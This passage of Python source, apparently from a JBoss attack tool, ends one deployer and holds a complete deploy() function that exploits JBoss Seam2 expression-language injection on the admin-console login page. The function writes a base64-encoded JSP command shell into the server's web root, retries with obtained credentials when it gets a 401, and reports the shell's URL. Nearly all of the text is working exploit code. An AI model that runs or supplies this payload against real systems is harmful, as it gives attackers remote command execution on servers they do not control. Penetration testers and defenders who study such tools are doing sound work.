                "{0} deployed to {1}".format(war_file,
                                             fingerengine.options.ip),
                LOG.SUCCESS)
        else:
            utility.Msg("EJBInvokerServlet not vulnerable", LOG.ERROR)

        try:
            get("http://localhost:8000/", timeout=1.0)
        except:
            pass
Example #18
0
def deploy(fingerengine, fingerprint):
    """ Exploits Seam2 exposed by certain JBoss installs. Here we
    require the use of a JSP payload that's written into the www root.  The 5.1
    deployer here varies slightly from the Metasploit version, which doesn't appear to
    have been tested against 5.1.  JBoss 5.1 writes into a cached temp, which is regenerated
    every time that war folder is modified.  This kills the shell.

    JBoss 6.0/6.1 is the same, however, and appears to work fine.

    https://www.exploit-db.com/exploits/36653/
    """

    war_file = abspath(fingerengine.options.deploy)
    war_name = parse_war_path(war_file)
    if '.war' in war_file:
        tmp = utility.capture_input(
            'This deployer requires a JSP, default to cmd.jsp? [Y/n]')
        if 'n' in tmp.lower():
            return

        war_file = abspath('./src/lib/resources/cmd.jsp')
        war_name = 'cmd'

    utility.Msg("Preparing to deploy {0}...".format(war_name))

    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    jsp_name = ''.join(choice(ascii_lowercase) for _ in range(5)) + '.jsp'
    jsp = None

    try:
        with open(war_file) as f:
            jsp = f.read()
    except Exception as e:
        utility.Msg("Error reading payload file '%s': %s" % (war_file, e),
                    LOG.ERROR)
        return False

    url = 'http://{0}:{1}/admin-console/login.seam'
    uri = 'actionOutcome=/success.xhtml?user%3d%23{{expressions.getClass().'
    uri += 'forName(\'java.io.FileOutputStream\').getConstructor(\''
    uri += 'java.lang.String\',expressions.getClass().forName(\''
    uri += 'java.lang.Boolean\').getField(\'TYPE\').get(null))'
    if fingerprint.version in ['6.0', '6.1']:
        uri += '.newInstance(request.getRealPath(\'/{0}\')'
    else:
        uri += '.newInstance(request.getRealPath(\'/../../../deploy/ROOT.war/{0}\')'
    uri += '.replaceAll(\'\\\\\\\\\',\'/\'),false).write(expressions'
    uri += '.getClass().forName(\'sun.misc.BASE64Decoder\').'
    uri += 'getConstructor(null).newInstance(null).decodeBuffer'
    uri += '(request.getParameter(\'c\'))).close()}}&c={1}'
    uri = uri.format(jsp_name, quote_plus(b64encode(jsp)))

    response = utility.requests_post(url.format(fingerengine.options.ip,
                                                fingerprint.port),
                                     data=uri,
                                     headers=headers,
                                     allow_redirects=False)
    if response.status_code == 401:
        utility.Msg(
            "Host %s:%s requires auth" %
            (fingerengine.options.ip, fingerprint.port), LOG.DEBUG)
        cookies = checkAuth(fingerengine.options.ip, fingerprint.port,
                            fingerprint.title, fingerprint.version)

        if cookies:
            try:
                response = utility.requests_post(url,
                                                 data=uri,
                                                 cookies=cookies[0],
                                                 auth=cookies[1])
            except Exception as e:
                utility.Msg("Error with authenticated request: %s" % str(e),
                            LOG.ERROR)
                return
        else:
            utility.Msg(
                "Could not get auth for %s:%s" %
                (fingerengine.options.ip, fingerprint.port), LOG.ERROR)
            return

    if response.status_code == 302:
        if fingerprint.version in ['6.0', '6.1']:
            invoke_url = "http://{0}:{1}/admin-console/{2}".format(
                fingerengine.options.ip, fingerprint.port, jsp_name)
        else:
            invoke_url = "http://{0}:{1}/{2}".format(fingerengine.options.ip,
                                                     fingerprint.port,
                                                     jsp_name)

        utility.Msg("{0} deployed to {1}".format(war_name, invoke_url),
                    LOG.SUCCESS)
        fingerengine.invoke_url = invoke_url
        fingerengine.options.deploy = jsp_name

    else:
        utility.Msg(
            "Failed to deploy {0} (HTTP {1})".format(fingerengine.options.ip,
                                                     response.status_code),
            LOG.ERROR)